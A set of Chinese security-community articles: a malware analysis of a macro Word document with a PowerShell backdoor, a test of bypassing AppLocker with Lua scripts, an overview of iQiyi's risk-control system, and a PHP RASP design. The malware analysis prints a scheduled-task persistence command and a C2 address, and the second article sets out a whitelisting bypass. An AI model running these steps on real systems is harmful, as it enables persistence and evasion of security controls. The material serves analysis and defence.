Version 6.1, Code page: 1252, Template: Normal.dotm, Last Saved By: Babak
Amiri, Revision Number: 240, Name of Creating Application: Microsoft Office
Word, Total Editing Time: 12:01:00, Create Time/Date: Mon Feb 18 06:17:00
2019, Last Saved Time/Date: Thu Feb 28 18:20:00 2019, Number of Pages: 1,
Number of Words: 296, Number of Characters: 1691, Security: 0
### 二、线上沙箱：
### 三、样本分析：
打开文件,查看宏代码发现已加密
使用工具将密码删除
再次打开doc,查看宏代码
同时在窗体中发现部分嵌入的代码
通过属性找到对应的代码,如Form1中
Form2
宏代码在自启动文件夹下创建`Win32ApiSyncTskSchdlr.bat`,并写入`start /MIN schtasks /Create /F
/SC HOURLY /MO 1 /TN Win32ApiSyncTask /TR "C:\ProgramData\Win32ApiSync.bat"`
同时创建`C:\ProgramData\Win32ApiSync.bat`,并写入一段powershell代码
写入的内容为
该代码做了如下3件事
* 获取Win32ApiSyncLog.txt中的内容
* 将内容进行解码
* 运行解码后的内容
同时创建C:\ProgramData\Win32ApiSyncLog.txt,并将宏代码中的ep内容写入到文件中
至此该病毒流程分析完毕,流程图如下
下面对Win32ApiSyncLog.txt内容进行解密,首先使用base64将ep解码,发现解码后的内容为嵌套powershell代码
使用如下代码将powershell中FromBase64String中的内容转换为string
import base64
import zlib
# [Convert]::FromBase64String
decoded = base64.b64decode(encoded)
# IO.Compression.DeflateStream
# 15 is the default parameter, negative makes it ignore the gzip header
decompressed = zlib.decompress(decoded, -15)
print(str(decompressed, encoding = "utf-8").lower())
运行后得到混淆的powershell代码
使用<https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler>
中的脚本对代码进行初步反混淆,然后再手动调整代码,还原的powershell代码如下
##### 后门分析
首先是main函数,while循环下分别运行了三个函数helloserverloop,
getcommandloop和executecommandandsetcommandresultloop
对于helloserverloop函数,该函数循环向c2发送请求,调用了helloserverrequest函数
跟进helloserverrequest如下,函数调用了assembler,并为请求设置了代理
跟进assembler函数如下,该函数调用了getbasicinfo函数,又继而调用了basicinfocollector函数
继续跟进basicinfocollector函数,该函数为基础信息收集函数,收集了用户名,系统版本,内网地址等信息
接下来我们分析getcommandloop函数,该函数循环向c2发送请求,并将response包解析,结果保存到全局变量getcmdresult中
我们继续分析executecommandandsetcommandresultloop函数,若全局变量getcmdresult为空,改函数则运行`ping
-n 1 127.0.0.1`指令,否则就运行getcmdresult变量中的指令,并使用base64编码保存结果,最后将结果发送到c2中
##### IOC
C2: 94.23.148.194
样本md5: 21aebece73549b3c4355a6060df410e9
### 四、查杀建议：
经分析该后门并没有高深的隐藏技术,分别删除启动项,计划任务,源文件即可
删除启动项中的文件
删除计划任务
删除病毒源文件 | 社区文章 |
## 0x00 前言
在之前的文章《Bypass Windows
AppLocker》曾对绕过Applocker的方法进行过学习，而最近看到一篇文章介绍了使用LUA脚本绕过Applocker的方法，学习之后产生了以下疑问：绕过原理是什么呢？能绕过哪种AppLocker的规则呢？适用条件又是什么呢？
文章地址：
<https://homjxi0e.wordpress.com/2018/03/02/whitelisting-bypassing-using-lua-lanuage-wlua-com/>
## 0x01 简介
本文将要介绍以下内容：
* LUA脚本简介
* 绕过测试
* 绕过原理
* 适用条件
* 防御方法
## 0x02 LUA脚本简介
* 轻量小巧的脚本语言
* 用标准C语言编写
* 可以被C/C++ 代码调用
* 可以调用C/C++的函数
* 在目前所有脚本引擎中的速度最快
## 0x03 Windows系统下执行LUA脚本
1、安装Lua for Windows，下载地址：
<http://files.luaforge.net/releases/luaforwindows/luaforwindows>
2、输出hello world
脚本内容：
print"Hello,world!"
cmd：
lua.exe 1.txt
如下图
3、调用Windows API
脚本内容：
require "alien"
MessageBox = alien.User32.MessageBoxA
MessageBox:types{ret ='long',abi ='stdcall','long','string','string','long'}
MessageBox(0, "title for test","LUA call windows api",0)
执行如下图
4、c++执行LUA脚本
参考代码如下：
extern "C" {
#include "lua.h"
#include <lauxlib.h>
#include <lualib.h>
}
int main(int argc,char* argv[])
{
lua_State *L = lua_open();
luaL_openlibs(L);
luaL_dofile(L, argv[1]);
lua_close(L);
return 0;
}
工程需要做如下设置：
(1)修改`VC++ 目录`
`包含目录`，添加`C:\Program Files\Lua\5.1\include`
`库目录`，添加`C:\Program Files\Lua\5.1\lib`
(2)`链接器` \- `输入` \- `附加依赖项`，添加
lua5.1.lib
lua51.lib
执行如下图
c++执行LUA脚本来调用Windows API，需要在同级目录添加支持文件，执行如下图
## 0x04 测试使用LUA脚本绕过Applocker
### 测试一：
测试系统： Win7x86
安装Lua for Windows
开启Applocker，配置默认规则
使用lua.exe执行脚本：
成功绕过Applocker的拦截
如下图
### 测试二：
测试系统： Win7x86
安装Lua for Windows
开启Applocker，配置默认规则，添加规则： 拦截lua.exe
未绕过Applocker的拦截
如下图
**注：**
还可以使用wlua.exe执行lua脚本
### 测试三：
测试系统： Win7x64
未安装Lua for Windows
开启Applocker，配置默认规则，系统禁止执行脚本
lua.exe同级目录放置lua5.1.dll(来自Lua for Windows安装路径)
使用lua.exe执行脚本：
未绕过Applocker的拦截
如下图
**补充：**
将lua.exe换成wlua.exe，脚本内容修改为POC内容，地址如下：
<https://gist.githubusercontent.com/homjxi0e/fd023113bf8b1b6789afa05c3913157c/raw/6bf41cbd76e9df6d6d3edcc9e289191f898451dc/AppLockerBypassing.wlua>
测试结果均相同
## 0x05 最终结论
经过以上测试，得出最终结论：
使用LUA脚本，在一定程序上能绕过Applocker，但需要满足以下条件：
* 当前系统已安装Lua for Windows
* Applocker的规则未禁止lua.exe和wlua.exe
## 0x06 小结
本文对LUA脚本的开发做了简要介绍，测试使用LUA脚本绕过Applocker的POC，得出最终结论 | 社区文章 |
Author：爱奇艺技术产品团队
地址：https://mp.weixin.qq.com/s?__biz=MzI0MjczMjM2NA==&mid=2247483836&idx=1&sn=d46875c957289d8e035345992ad7053e
### 01 普遍业务风险 ——行业的共同的问题
爱奇艺在快速发展过程中, 业务越来越多，越来越复杂，用户的权益和信息价值越来越高, 我们面临的业务安全的挑战也就越来越大。
除了传统的网络黑客的入侵，攻击以外，新的业务形态带来的新型风险: 比如撞库盗号，盗播盗看，很多的营销活动招引大量的薅羊毛的行为, 刷量, 刷人气,
恶意发布不良信息等风险, 社交场景下的拉粉和不良信息恶意传播, 支付场景下的欺诈, 所有这些风险一旦被黑产利用, 都可能对企业的稳定运营带来大的冲击。
以下总结了各种业务会遇到的风险
01 会员：撞库盗号，账号分享，批量注册
02 视频：盗播盗看，广告屏蔽，刷量作弊
03 活动：薅羊毛
04 直播：挂站人气，恶意图文
05 电商：恶意下单，订单欺诈
06 支付：盗号盗卡，洗钱，恶意下单，恶意提现
07 其他：钓鱼邮件，恶意爆破，短信轰炸
### 02 解决方案 ——安全+风控
针对新的业务形态会遇到的问题，除了一方面是要用常规安全解决方案去解决，另外我们也要对业务做充分的风险评估和及时控制。
常规安全解决方案是加强安全制度和体系建设，推动安全开发和安全运维，关注边界安全, 数据安全和纵深防御。
后者是我们要重点为给公司带来核心价值的关键业务，从风险管控上保护好他们。
### 03 业务上线运营——问题多多
业务在上线运营以后, 不是说没有关注风险评估和控制，但是以前的做法存在有非常多的问题，这里举四类主要的问题:
#### 一. 各自为战
1 各业务方多以安全事件驱动, 多数仅做事前单点防御, 经验数据无法共享
2 单点防御容易被黑产各个击破, 无法做到跨业务跨团队的联防联控
3 低水平重复建设, 平台资源浪费
#### 二. 拍脑袋"规则"
1 大量的风控规则是专家决策为主,阈值基本拍脑袋而定
2 没有引入数据分析或者机器学习等能力, 对事件本质缺乏足够认识及数据支撑, 造成正常用户误杀, 损伤用户体验, 导致用户流失
#### 三. 反应过慢
1 不能快速识别攻击变化进行调整,无法进行积极对抗
2 业务代码耦合,依赖业务开发, 测试和上线,占用业务排期
3 某些前置/内置规则容易成为业务关键路径, 对业务稳定性造成影响
#### 四. 手段单一
1 可用特征维度不多, 严重依赖于IP, 公共出口误杀严重,引发投诉
2 以限频, 限流, 黑白名单, 图文验证为主, 黑白名单难以维护, 无生命周期
### 04 目标风控系统——用云服务来解决业务的问题
要解决业务在上线运营以后遇到的问题，我们需要将风控服务，以云服务的方式提供业务,让业务关注业务本身, 让跨业务支持的统一风控云服务来对其进行保障。
到底要提供给业务团队怎么样的风控服务呢?
这里列一下我们的设计目标, 这些目标的达成也就能解决前面说的问题。
#### 一. 联防联控
1各业务联合, 在模型,规则,数据等方面进行共享, 联合布控协同防御
#### 二. 数据驱动, 智能对抗
1 全站全网数据支撑, 基于数据进行决策
2 利用机器学习实现智能异常特征发现
#### 三. 策略灵活, 有效对抗
1 独立服务, 快速迭代
2 支持业务的风险多样运营需求
3 模型,规则, 策略快速实施, 快速反应
#### 四. 维度和拦截手段多样
1 不依赖单一维度和单一行为
2 云和端结合, 多种拦截手段应对
#### 五. 延迟可控, 低耦合可降级
1 在实时风控场景下, 快速决策, 不能明显增加业务延迟, 自身有问题情况下, 不能影响业务
#### 六. 快速实现, 高效部署
1 能够快速完成架构. 实现和持续迭代
2 能够面向私有云的复杂拓扑, 快速部署
### 05 风控服务的架构
#### 一. 风控服务组成
我们的风控服务是由三大子服务组成：
麦哲伦（Magellan）主要包括业务接入(接入层)，三大服务引擎(数据查询，规则执行，模型调用)，面向风控团队的管理平台(服务资源管理,
模型规则管理，生命周期管理，上下线管理，维度数据管理)，面向业务方的运营平台(风险事件管理，仿真，风险处置，监控预警，数据查询和仪表盘，规则清单)。
哥伦布（Columbus）主要面向对业务数据的特征工程，大规模异常检测和深度学习，知识图谱，实时特征，离线特征，环境特征以及安全画像，并对外提供模型可实时调用接口或者模型输出缓存。
郑和（Zhenghe）是安全知识仓库，是面向业务风控和其他安全控制所需的各类安全基础数据和威胁情报。
#### 二. 风控 - 部署
利用云平台能力高效构建和发布：
2.5*4个人月从零开始开发构建上线服务,
并对外提供了基于HTTP/RPC的实时风控和近实时风控以及基于离线数据的离线风控.如何把风控服务在复杂的云环境部署下去。
我们会在一个主IDC里，部署运营中心和管理平台。这一块可以快速切换IDC部署，如果这个主IDC有问题,
可以快速切换到另一个IDC。对于真正贴近业务的三大服务引擎，则是基本上所有有受保护的业务的IDC都有进行部署, 以保证业务可以就近访问, 降低访问延。
#### 三. 风控 - 引擎
查询引擎
1 Magellan子服务的的核心，主要负责进行实时和离线数据批量查询及聚合
2 构建为参数/特征组合提供给规则引擎, 模型引擎
规则引擎
1负责进行规则匹配
2支持自定义执行策略如: 命中退出, 全部执行, 条件退出等
3支持多种规则类型, 如:评分卡, 决策树, 决策表, 普通规则等
模型引擎
1通过查询引擎查上来的一些参数特征，负责进行特征处理及算法执行，以达到和Columbus子服务的协同, 并服务于规则引擎。
#### 四. 风控 - 运营
业务如果把风险评估交付给风控，Magellan必须满足其复杂的运营需求：
一 风控服务
业务风险评估,接入登记,根据场景实施初始规则和模型,逐步迭代。
二 事件查询/处置/回溯
查询被识别为风险案例的上下文,特征,模型结果,数据标注等信息.供运营进行案例分析及后续仿真
三 事件监控和报警
业务/风险数据监控看板,智能报警
四 adhoc/Daily数据分析
Adhoc/Daily数据报表,风险数据分析,模型/规则贡献度分析,仿真效果分析等
五 离线/在线仿真
基于案例库中的正/反例,结合仿真环境进行模型/策略仿真.利用数据平台进行贡献度, 线上效果比对等分析。
六 审批上线
规则模型变更及时通知业务方,风控运营团队,相关业务方,相关负责人确认审批上线。
### 五.风控 - 数据
风控最重要的还是数据。
风控通过Columbus子服务从业务方获取的海量的近实时或者离线业务数据, 并把数据进行清洗和特征工程,形成基础数据，这些基础数据存在HDFS-HBase里面，通过数据分析和机器学习的方法, 产生各类标签，画像和模型, 经过安全专家确认, 产出的安全规则和可用的模型缓存。
针对业务数据获取和处理, 对于实时数据 ,利用Apache Flink构建, 实现图特征工程, 多维频次特征工程, 多数据流Complex Event
Processing处理, 达到毫秒级延时.
Columbus的多渠道业务数据采集和处理
1 实时数据:基于Apache Flink
构建: 图特征工程, 多维频次特征，多数据流Complex Event Processing，毫秒级延时
2 近实时数据:基于Apache Spark
构建:异常检测,流式特征工程,，秒级延时
3 离线数据: 基于Apache Spark，Impala/Hive
构建:安全画像，用户画像，全业务数据， 小时/天级延时
**安全画像**
Columbus的安全画像
对全站业务数据分析和提炼以后
形成海量的多维度标签刻画
为风控的每一次处理
丰富上下文场景和实体特征
安全画像作为风控最重要的一个业务数据的积累。通过潜在的数据提炼以后，形成海量的多维度度标签刻画。我们整个安全画像的话，包括他通过哪一个IP等等。目前大概有600多种标签，数据总数已经超过19亿。
Zhenghe安全知识仓库
Zhenghe系统是安全云的包括威胁情报在内的基础安全数据集
1 全网安全数据监测和收集，包括 自采，共享和第三方采购
2 对业务安全而言重点关注 - IP信誉分, IP分类识别, 公共出口识别, 代理IP识别, 手机号信誉分, 虚假小号识别等
3 威胁标记类型210个，涵盖13个维度，总共记录数约16亿条
**IP信誉分**
融合爱奇艺内部多个系统的数据
参考第三方数据
综合衡量一个IP的长期行为
得到一个-100到100的信誉分
### 六.风控 – 平台
Columbus的核心是异常检测
如果黑产完全和正常用户一样的话
其实是达不到获利的目的的
所以异常检测对安全来说
也是风控平台的一个基本功能
Columbus主要是通过自研的方式
实现各种异常检测的功能
在该核心功能的基础上
构建了整个哥伦布系统的上层架构
实现面向风控Magellan服务的能力
一 预处理特征工程
预处理工具
低级特征工程库:
对数特征,归一化特征,主成份特征 ...
高级特征工程库:
FPGrowth关联特征,k-means距离特征, 多维自动关联 ...
二 离线检测
低级异常检测算法库:
多种分布模型, 单维度异常检测 ...
高级的异常检测算法库:
基于FPGrowth关联的多维异常检测 ...
三 在线监测
流式异常检测:
基于FPGrowth关联流式, 基于CEP...
基于时间序列的异常检测:
基于基线曲线预测, 基于深度学习时间序列
四 基础工具库
自动化数据解析,存储和导入等工具
### 七.设备指纹
对风控而言, 还要提一下其依赖服务: 设备指纹。
风控需要一个好的设备指纹的服务，要让所有的端都能够采集设备纬度，形成一个指纹，这个指纹多维签发的, 而且在云端会做大量的黑产分析，联合安全画像进行沉淀。
因为这些数据都是用户提供上来的，必须要做一个防伪的检测，从多维度数据里面查出提供的维度数据矛盾和不真实。
### 八.验证手段
1.图文验证码
传统的复杂图文验证码
2.滑动验证码
基于滑动的人机行为识别进行验证
3.上下行短信验证
发送下行或者上行短信进行验证
4.基于信任设备的验证
信任设备可以为其他端进行授权和验证
5.基于安全盾APP的验证
安装爱奇艺安全盾APP可以为其他应用进行
动态口令(OTP), 推送一键确认, 扫码确认
其他: 暂时放行+事后处置,
降级体验或者权益
A业务标识+B业务拦截
(A业务识别风险以后只做标识画像，
然后B业务进行拦截,
这样非常有利于让黑产无法识破规则策略)
06 风控服务的成果
1.业务覆盖：
涵盖帐号, 会员, 活动, 支付, 播放反作弊,
社交, IT, 直播等重要业务
2.服务质量：
日均请求量超24亿, 延时5ms以内, 无故障运行
3.柔性风控：
平时重监控, 战时重对抗. 注重用户体验
4.核心亮点：
事前, 事后纵深防御体系,
结合事中跨业务联防联控及实时流式异常检测,
机器撞库接近100%抑制
在这里重点讲一下我们对机器撞库盗号的防御成果。
会员账号的安全关系到爱奇艺会员付费战略的顺利实施以及爱奇艺良好口碑的建立。
然而，对于互联网公司来说，帐号的撞库风险在登录、注册、找密等环节普遍存在。
目前，“黑产”主要通过第三方网站大量泄漏的用户数据，在这些潜在风险的地方，进行账号检存操作，然后通过存在的账号测试对应密码检存；或者寻找无任何防御的登录接口进行撞库。账号与密码一旦被黑产所获悉，会员权益有被分享的风险，进而导致爱奇艺会员营收的损失与口碑的下降，甚至由于大量隐私泄露，触犯最新出台的《网络安全法》，引起刑事诉讼。
对黑产来说,他们拿到其他网站泄露的账号(用户名和密码)，会到爱奇艺这边做帐号的检测，检查帐号在爱奇艺是否存在，是不是会员，如果是会员则就把这个帐号盗取了。
对黑产来说, 撞库效率是非常关键的, 要求用最快的时间检测最多的账号。目前黑产已经形成非常完整的产业链，有专人负责开发撞库软件,
并软件下发给手上有各种失窃账号数据的人，这些人利用各种物料(例如拨号器, 代理等)实施检测,，检测结果快速汇聚整理，并寻求下游的分享或者售卖。
我们是如何把这个问题解决掉呢？
安全风控服务,
从登录、注册、验证码等多个风险点的联防联控入手，利用流式异常检测引擎、智能评分卡和多业务数据流复杂事件关联等结合进行实时对抗，以期从根本上解决账号大规模泄露的风险。
这个问题的解决的难点在哪里呢?
黑产手上的IP非常多,
包括各种代理和动态拨号获取的IP，其构建的检测请求的客户端特征也可以进行快速的伪造，机器撞库根本上是追求低成本高效率，也就是一个IP在被风控识别出为撞库源之前完成尽可能多的撞库请求，这也要求在1s内尽可能完成更多的撞库请求，这还包括了验证码的告破解率。
因此，面对快速多变的对手, 依赖拍脑袋的高频阈值控制是很容易被黑产绕过的。对风控而言, 主要是解决三点：
1 使用流式检测手段，尽可能快的识别出物料维度(例如IP等)+客户端多维特征的异常组合,
这些异常组合能够尽快的进入到拦截标注集中发挥作用，在失效之前对后续同一组合的请求导入到验证阶段，这个依赖于我们的大规模流式异常检测的能力。
2
利用稳定的攻击行为特征(客户端多维特征)加上安全画像刻画物料(例如IP等)的历史行为特征协同验证阶段的行为特征进行组合拼接，从而形成大量的临时拼接标注,并进入到拦截标注集中发挥作用，在失效之前对后续同一组合的请求导入到验证阶段，这非常有利于我们预测黑产的一个新的维度组合从而快速拦截。
3
命中的检出拦截标注或者临时拼接标注会进入到安全画像分析出物料维度(例如IP等)的历史行为特征以及归纳出稳定的攻击行为特征(多维特征组合)，用于后续持续临时拼接,
这个依赖于安全画像服务。
从整个对抗的成果来看，共实时拦截黑产撞库请求超过2亿次，从我们自己的监控来看从2017年4月中旬开始，每日撞库成功的账号数目降至个位数，此外，从各大社交网站舆情监控来，
用户反馈被盗号的情况也基本上消失。
机器撞库盗号攻击基本消失
07 风控服务的心得
拥抱业务：安全只有拥抱业务才能体现价值
云端结合：立足于云，服务为云，结合与端
精细运营：业务安全需要持续运营
协同联动：多点多层次跨业务防御
二八原则：优先解决主要风险
数据驱动：充分挖掘数据价值 | 社区文章 |
作者：c0d3p1ut0s & s1m0n
#### RASP概念
RASP（Runtime Application self-protection）是一种在运行时检测攻击并且进行自我保护的一种技术。早在2012年，Gartner就开始关注RASP，惠普、WhiteHat
Security等多家国外安全公司陆续推出RASP产品，时至今日，惠普企业的软件部门出售给了Micro Focus，RASP产品Application
Defender随之易主。而在国内，去年知道创宇KCon大会兵器谱展示了JavaRASP，前一段时间，百度开源了OpenRASP，去年年底，360的0kee团队开始测试Skywolf，虽然没有看到源码和文档，但它的设计思路或许跟RASP类似。而商业化的RASP产品有OneAPM的OneRASP和青藤云的自适应安全产品。在国内，这两家做商业化RASP产品做得比较早。
那么RASP到底是什么呢？它到底是怎样工作的呢？
#### 我的WAF世界观
为了表述方便，暂且把RASP归为WAF的一类。从WAF所在的拓扑结构，可以简单将WAF分为如下三类，如下图所示：
* 以阿里云为代表的云WAF以中间人的形式，在HTTP请求到达目标服务器之前进行检查拦截。
* 以ModSecurity为代表的传统WAF在HTTP请求到达HTTP服务器后，被Web后端容器解释/执行之前检查拦截HTTP请求。
* RASP工作在Web后端解释器/编译器中，在漏洞代码执行前阻断执行流。
从上图中WAF所处的位置可以看出，云WAF和传统WAF的检查拦截HTTP请求的主要依据是HTTP
Request，其实，如果站在一个非安全从业者的角度来看，这种检测方式是奇怪的。我们可以把Web服务看做是一个接受输入-处理-输出结果的程序，那么它的输入是HTTP请求，它的输出是HTTP响应。靠检测一个程序的输入和输出来判断这个程序的运行过程是否有害，这不奇怪吗？然而它又是可行且有效的，大多数的Web攻击都能从HTTP请求中找到蛛丝马迹。这种检测思路是云WAF和传统WAF能有效工作的原因，也是它们的缺点。
笔者一直认为，问题发生的地方是监控问题、解决问题的最好位置。Web攻击发生在Web后端代码执行时，最好的防护方法就是在Web后端代码执行之前推测可能发生的问题，然后阻断代码的执行。这里的推测并没有这么难，就好像云WAF在检查包含攻击payload的HTTP请求时推测它会危害Web服务一样。这就是RASP的设计思路。
好了，上面谈了一下笔者个人的一些看法，下面开始谈一谈PHP RASP的实现。
RASP在后端代码运行时做安全监测，但又不侵入后端代码，就得切入Web后端解释器。以Java为例，Java支持以JavaAgent的方式，在class文件加载时修改字节码，在关键位置插入安全检查代码，实现RASP功能。同样，PHP也支持对PHP内核做类似的操作，PHP支持PHP扩展，实现这方面的需求。你可能对JavaAgent和PHP扩展比较陌生，实际上，在开发过程中，JavaAgent和PHP扩展与你接触的次数比你意识到的多得多。
#### PHP扩展简介
有必要介绍一下PHP解释的简单工作流程，根据PHP解释器所处的环境不同，PHP有不同的工作模式，例如常驻CGI，命令行、Web
Server模块、通用网关接口等多个模式。在不同的模式下，PHP解释器以不同的方式运行，包括单线程、多线程、多进程等。
为了满足不同的工作模式，PHP开发者设计了Server API即SAPI来抹平这些差异，方便PHP内部与外部进行通信。
虽然PHP运行模式各不相同，但是，PHP的任何扩展模块，都会依次执行模块初始化（MINIT）、请求初始化（RINIT）、请求结束（RSHUTDOWN）、模块结束（MSHUTDOWN）四个过程。如下图所示：
在PHP实例启动时，PHP解释器会依次加载每个PHP扩展模块，调用每个扩展模块的MINIT函数，初始化该模块。当HTTP请求来临时，PHP解释器会调用每个扩展模块的RINIT函数，请求处理完毕时，PHP会启动回收程序，倒序调用各个模块的RSHUTDOWN方法，一个HTTP请求处理就此完成。由于PHP解释器运行的方式不同，RINIT-RSHUTDOWN这个过程重复的次数也不同。当PHP解释器运行结束时，PHP调用每个MSHUTDOWN函数，结束生命周期。
PHP核心由两部分组成，一部分是PHP
core，主要负责请求管理，文件和网络操作，另一部分是Zend引擎，Zend引擎负责编译和执行，以及内存资源的分配。Zend引擎将PHP源代码进行词法分析和语法分析之后，生成抽象语法树，然后编译成Zend字节码，即Zend
opcode。即PHP源码->AST->opcode。opcode就是Zend虚拟机中的指令。使用VLD扩展可以看到Zend
opcode，这个扩展读者应该比较熟悉了。下面代码的opcode如图所示
<?php
$a=1;
$b=2;
print $a+$b;
>
Zend引擎的所有opcode在<http://php.net/manual/en/internals2.opcodes.list.php>
中可以查到，在PHP的内部实现中，每一个opcode都由一个函数具体实现，opcode数据结构如下
struct _zend_op {
opcode_handler_t handler;//执行opcode时调用的处理函数
znode result;
znode op1;
znode op2;
ulong extended_value;
uint lineno;
zend_uchar opcode;
};
如结构体所示，具体实现函数的指针保存在类型为opcode_handler_t的handler中。
#### 设计思路
PHP
RASP的设计思路很直接，安全圈有一句名言叫一切输入都是有害的，我们就跟踪这些有害变量，看它们是否对系统造成了危害。我们跟踪了HTTP请求中的所有参数、HTTP
Header等一切client端可控的变量，随着这些变量被使用、被复制，信息随之流动，我们也跟踪了这些信息的流动。我们还选取了一些敏感函数，这些函数都是引发漏洞的函数，例如require函数能引发文件包含漏洞，mysqli->query方法能引发SQL注入漏洞。简单来说，这些函数都是大家在代码审计时关注的函数。我们利用某些方法为这些函数添加安全检查代码。当跟踪的信息流流入敏感函数时，触发安全检查代码，如果通过安全检查，开始执行敏感函数，如果没通过安全检查，阻断执行，通过SAPI向HTTP
Server发送403 Forbidden信息。当然，这一切都在PHP代码运行过程中完成。
这里主要有两个技术问题，一个是如何跟踪信息流，另一个是如何安全检查到底是怎样实现的。
我们使用了两个技术思路来解决两个问题，第一个是动态污点跟踪，另一个是基于词法分析的漏洞检测。
#### 动态污点跟踪
对PHP内核有一些了解的人应该都知道鸟哥，鸟哥有一个项目taint，做的就是动态污点跟踪。动态污点跟踪技术在白盒的调试和分析中应用比较广泛。它的主要思路就是先认定一些数据源是可能有害的，被污染的，在这里，我们认为所有的HTTP输入都是被污染的，所有的HTTP输入都是污染源。随着这些被污染变量的复制、拼接等一系列操作，其他变量也会被污染，污染会扩大，这就是污染的传播。这些经过污染的变量作为参数传入敏感函数以后，可能导致安全问题，这些敏感函数就是沉降点。
做动态污点跟踪主要是定好污染源、污染传播策略和沉降点。在PHP
RASP中，污染源和沉降点显而易见，而污染传播策略的制定影响对RASP的准确性有很大的影响。传播策略过于严格会导致漏报，传播策略过于宽松会增加系统开销。PHP
RASP的污染传播策略是变量的复制、赋值和大部分的字符串处理等操作传播污染。
动态污点跟踪的一个小小好处是如果一些敏感函数的参数没有被污染，那么我们就无需对它进行安全检查。当然，这只是它的副产物，它的大作用在漏洞检测方面。
动态污点跟踪的实现比较复杂，有兴趣的可以去看看鸟哥的taint，鸟哥的taint也是以PHP扩展的方式做动态污点跟踪。PHP
RASP中，这部分是基于鸟哥的taint修改、线程安全优化、适配不同PHP版本实现的。在发行过程中，我们也将遵守taint的License。
在PHP解释器中，全局变量都保存在一个HashTable类型的符号表symbol_table中，包括预定义变量_GET、_GET,_SERVER等数组中的值标记为污染，这样，我们就完成了污染源的标记。
污染的传播过程其实就是hook对应的函数，在PHP中，可以从两个层面hook函数，一是通过修改zend_internal_function的handler来hook
PHP中的内部函数，handler指向的函数用C或者C++编写，可以直接执行。zend_internal_function的结构体如下：
//zend_complie.h
typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */
void (*handler)(INTERNAL_FUNCTION_PARAMETERS); //函数指针，展开：void (*handler)(zend_execute_data *execute_data, zval *return_value)
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;
我们可以通过修改zend_internal_function结构体中handler的指向，待完成我们需要的操作后再调用原来的处理函数即可完成hook。
另一种是hook opcode，需要使用zend提供的API
zend_set_user_opcode_handler来修改opcode的handler来实现。
我们在MINIT函数中用这两种方法来hook传播污染的函数，如下图所示
当传播污染的函数被调用时，如果这个函数的参数是被污染的，那么把它的返回值也标记成污染。以hook内部函数str_replace函数为例，hook后的rasp_str_replace如下所示
PHP_FUNCTION(rasp_str_replace)
{
zval *str, *from, *len, *repl;
int tainted = 0;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zzz|z", &str, &repl, &from, &len) == FAILURE) {
return;
}//取参
if (IS_STRING == Z_TYPE_P(repl) && PHP_RASP_POSSIBLE(repl)) {
tainted = 1;
} else if (IS_STRING == Z_TYPE_P(from) && PHP_RASP_POSSIBLE(from)) {
tainted = 1;
}//判断
RASP_O_FUNC(str_replace)(INTERNAL_FUNCTION_PARAM_PASSTHRU);//调用原函数执行
if (tainted && IS_STRING == Z_TYPE_P(return_value) && Z_STRLEN_P(return_value)) {
TAINT_MARK(Z_STR_P(return_value));
}//污染标记
}
首先获取参数，判断参数from和repl是否被污染，如果被污染，将返回值标记为污染，这样就完成污染传播过程。
当被污染的变量作为参数被传入关键函数时，触发关键函数的安全检查代码，这里的实现其实跟上面的类似。PHP的中函数调用都是由三个Zend
opcode：ZEND_DO_FCALL,ZEND_DO_ICALL 和
ZEND_DO_FCALL_BY_NAME中某一个opcode来进行的。每个函数的调用都会运行这三个 opcode 中的一个。通过劫持三个
opcode来hook函数调用,就能获取调用的函数和参数。这里我们只需要hook
opcode，就是上面第二幅图示意的部分，为了让读者更加清晰，我把它复制下来。
如图，在MINIT方法中，我们利用Zend API
zend_set_user_opcode_handler来hook这三个opcode，监控敏感函数。在PHP内核中，当一个函数通过上述opcode调用时，Zend引擎会在函数表中查找函数，然后返回一个zend_function类型的指针，zend_function的结构如下所示
union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
union _zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
其中，common.function_name指向这个函数的函数名，common.scope指向这个方法所在的类，如果一个函数不属于某个类，例如PHP中的fopen函数，那么这个scope的值是null。这样，我们就获取了当前函数的函数名和类名。
以上的行文逻辑是以RASP的角度来看的，先hook
opcode和内部函数，来实现动态污点跟踪，然后通过hook函数调用时运行的三个opcode来对监控函数调用。实际上，在PHP内核中，一个函数的调用过程跟以上的行文逻辑是相反的。
当一个函数被调用时，如上文所述，根据这个函数调用的方式不同，例如直接调用或者通过函数名调用，由Zend
opcode，ZEND_DO_FCALL,ZEND_DO_ICALL 和
ZEND_DO_FCALL_BY_NAME中的某一个opcode来进行。Zend引擎会在函数表中搜索该函数，返回一个zend_function指针，然后判断zend_function结构体中的type，如果它是内部函数，则通过zend_internal_function.handler来执行这个函数，如果handler已被上述hook方法替换，则调用被修改的handler；如果它不是内部函数，那么这个函数就是用户定义的函数，就调用zend_execute来执行这个函数包含的zend_op_array。
现在我们从RASP的角度和PHP内核中函数执行的角度来看了动态污点跟踪和函数的hook，接下来，我们需要对不同类型的关键函数进行安全检测。
#### 基于词法分析的攻击检测
传统WAF和云WAF在针对HTTP Request检测时有哪些方法呢？常见的有正则匹配、规则打分、机器学习等，那么，处于PHP解释器内部的PHP
RASP如何检测攻击呢？
首先，我们可以看PHP RASP可以获取哪些数据作为攻击检测的依据。与其他WAF一样，PHP
RASP可以获取HTTP请求的Request。不同的是，它还能获取当前执行函数的函数名和参数，以及哪些参数是被污染的。当然，像传统WAF一样，利用正则表达式来作为规则来匹配被污染的函数参数也是PHP
RASP检测的一种方法。不过，对于大多数的漏洞，我们采用的是利用词法分析来检测漏洞。准确的来说，对于大多数代码注入漏洞，我们使用词法分析来检测漏洞。
